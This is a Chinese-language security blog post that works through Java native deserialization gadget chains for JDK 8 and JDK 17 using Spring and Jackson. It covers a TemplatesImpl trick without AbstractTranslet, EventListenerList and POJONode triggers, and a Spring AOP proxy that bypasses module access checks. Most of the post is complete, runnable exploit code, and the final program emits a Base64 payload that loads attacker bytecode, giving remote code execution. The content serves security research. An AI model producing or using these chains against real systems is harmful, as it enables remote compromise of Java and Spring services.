不继承AbstractTranslet
的TemplatesImpl
恶意类 已知实例化恶意类之前会先调用defineTransletClasses()
方法
_tfactory
不需要进行赋值已经是老生常谈,不多赘述。
已知_transletIndex
的默认值为-1
,所以构造恶意TemplatesImpl
对象时通常继承AbstractTranslet
类走进if
分支将_transletIndex
重新赋值为0
可以通过反射赋值直接将_transletIndex
的值改为0
这样就会走进else
分支,会向_auxClasses
中进行put
,这就需要_auxClasses
不为空,否则会出现空指针错误,但是无需担心,当_bytescodes.length
大于1
时_auxClasses
会被自动赋值一个HashMap
只需要向二维数组_bytecodes
中多塞入一个其他类的字节码即可
完整构造代码如下:
1 2 3 4 5 6 7 8 9 10 public static TemplatesImpl getTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class" )); byte [] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class" )); byte [][] byteCodes = {byteCode1, byteCode2}; setValue(templates, "_name" , "kagty1" ); setValue(templates, "_bytecodes" , byteCodes); setValue(templates, "_transletIndex" , 0 ); return templates; }
EventListenerList触发toString 很经典的一条链子,不多做赘述。
参考文章:
1、https://cwmwebsec.icu/2025/02/11/tabby%E7%9A%84%E5%88%9D%E6%AC%A1%E4%BD%BF%E7%94%A8-%E5%A4%8D%E7%9B%982024CISCN-WEB-solon-master
2、https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/
重温JDK8环境下的Jackson原生反序列化 Spring
中默认包含Jackson
依赖
调用链如下所示:
1 2 3 4 POJONode.toString ->BaseJsonNode.toString ->com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString ->com.fasterxml.jackson.databind.ObjectWriter#writeValueAsString
writeValueString
正是Jackson
序列化的入口函数,会调用序列化对象的所有public_getter
方法。
完整调用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;public class Main { public static TemplatesImpl getTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class" )); byte [] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class" )); byte [][] byteCodes = {byteCode1, byteCode2}; setValue(templates, "_name" , "kagty1" ); setValue(templates, "_bytecodes" , byteCodes); setValue(templates, "_transletIndex" , 0 ); return templates; } public static void setValue (Object targetObj, String fieldName, Object value) throws Exception { Class<?> clazz = targetObj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(targetObj, value); } public static byte [] serialize(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(object); oos.flush(); oos.flush(); return byteArrayOutputStream.toByteArray(); } public static Object deserialize (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (byteArrayInputStream); return ois.readObject(); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); TemplatesImpl templates = getTemplates(); POJONode pojoNode = new POJONode (templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val" ); valField.setAccessible(true ); valField.set(badAttributeValueExpException, pojoNode); deserialize(serialize(badAttributeValueExpException)); } }
JDK17的变数 在JDK8
中之所以能够利用成功,是因为BadAttributeValueExpException.readObject
中调用了valObj.toString()
而在JDK17
的BadAttributeValueExpException.readObject
中,valObj.toString()
被移除了
这就呼应了前文提到的EventListenerList
触发toString
,来代替BadAttributeValueExpException
完整代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Vector;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;public class Main { public static TemplatesImpl getTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class" )); byte [] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class" )); byte [][] byteCodes = {byteCode1, byteCode2}; setValue(templates, "_name" , "kagty1" ); setValue(templates, "_bytecodes" , byteCodes); setValue(templates, "_transletIndex" , 0 ); return templates; } public static void setValue (Object targetObj, String fieldName, Object value) throws Exception { Class<?> clazz = targetObj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(targetObj, value); } public static byte [] serialize(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(object); oos.flush(); oos.flush(); return byteArrayOutputStream.toByteArray(); } public static Object deserialize (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (byteArrayInputStream); return ois.readObject(); } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static EventListenerList newToString (Object triggee) throws Exception { EventListenerList list=new EventListenerList (); UndoManager um=new UndoManager (); Vector v=(Vector) getFieldValue(um,"edits" ); v.add(triggee); setValue(list,"listenerList" ,new Object []{ByteArrayOutputStream.class,um}); return list; } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); TemplatesImpl templates = getTemplates(); POJONode pojoNode = new POJONode (templates); EventListenerList eventListenerList = newToString(pojoNode); deserialize(serialize(eventListenerList)); } }
模块化检测机制 && Bypass sun.*, com.sun.*, jdk.internal.*
通常都算JDK
内部类,不属于官方公开API
在java.*, javax.*
包下的类一般都是标准公开API
从 JDK 9 开始引入了 JPMS(Java Platform Module System) ,模块之间有明确的访问边界。
TemplatesImpl
类在com.sun.*
中,属于JDK
内部类,若直如JDK8
直接进行反序列化,则会发生InaccessibleObjectException
报错:
1 Exception in thread "main" java.lang.RuntimeException: com.fasterxml.jackson.databind.exc.InvalidDefinitionException: Invalid type definition for type com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl: Failed to construct BeanSerializer for [simple type, class com .sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl]: (java.lang.IllegalArgumentException) Failed to call setAccess () on Method 'getOutputProperties' (of class com .sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) due to java.lang.reflect.InaccessibleObjectException, problem: Unable to make public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() accessible: module java.xml does not "exports com.sun.org.apache.xalan.internal.xsltc.trax" to unnamed module @36f0f1be
这个异常表明反射尝试访问getOutputProperties()
方法。由于 Java
模块系统的限制,getOutputProperties()
方法在 TemplatesImpl
类中无法被访问。
则可以使用SpringAop
代理绕过
1 2 3 4 5 6 7 8 9 public static Object templatesImplAopProxy (TemplatesImpl templates) throws Exception{ AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class []{Templates.class}, invocationHandler); return proxy; }
来代理Templates
接口,由于 Templates
是一个公共接口,它的代理对象不受 Java
模块系统对 JDK
内部类的访问控制限制。因此,通过代理对象访问方法时,不会遇到 InaccessibleObjectException
错误。
完整利用链代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.util.ArrayList;import java.util.Base64;import java.util.Vector;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.springframework.aop.framework.AdvisedSupport;import sun.misc.Unsafe;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;public class Main { public static TemplatesImpl getTemplates () throws Exception{ TemplatesImpl templates = new TemplatesImpl (); byte [] byteCode1 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/Evil8.class" )); byte [] byteCode2 = Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/Java安全/Java安全进阶/高版本JDK_Spring原生反序列化/SpringUns/src/main/evil/ano.class" )); byte [][] byteCodes = {byteCode1, byteCode2}; setValue(templates, "_name" , "kagty1" ); setValue(templates, "_bytecodes" , byteCodes); setValue(templates, "_transletIndex" , 0 ); return templates; } public static byte [] serialize(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(object); oos.flush(); oos.flush(); return byteArrayOutputStream.toByteArray(); } public static Object deserialize (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (byteArrayInputStream); return ois.readObject(); } public static void setValue (Object targetObj, String fieldName, Object value) throws Exception { Class<?> clazz = targetObj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(targetObj, value); } private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz != null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if ( field != null ) field.setAccessible(true ); else if ( clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch ( NoSuchFieldException e ) { if ( !clazz.getSuperclass().equals(Object.class) ) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object getFieldValue (final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static EventListenerList newToString (Object triggee) throws Exception { EventListenerList list=new EventListenerList (); UndoManager um=new UndoManager (); Vector v=(Vector) getFieldValue(um,"edits" ); v.add(triggee); setValue(list,"listenerList" ,new Object []{ByteArrayOutputStream.class,um}); return list; } public static Object templatesImplAopProxy (TemplatesImpl templates) throws Exception{ AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(templates); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class []{Templates.class}, invocationHandler); return proxy; } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace" ); jsonNode.removeMethod(writeReplace); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); jsonNode.toClass(classLoader, null ); TemplatesImpl templates = getTemplates(); POJONode pojoNode = new POJONode (templatesImplAopProxy(templates)); EventListenerList eventListenerList = newToString(pojoNode); String serString = Base64.getEncoder().encodeToString(serialize(eventListenerList)); System.out.println(serString); } }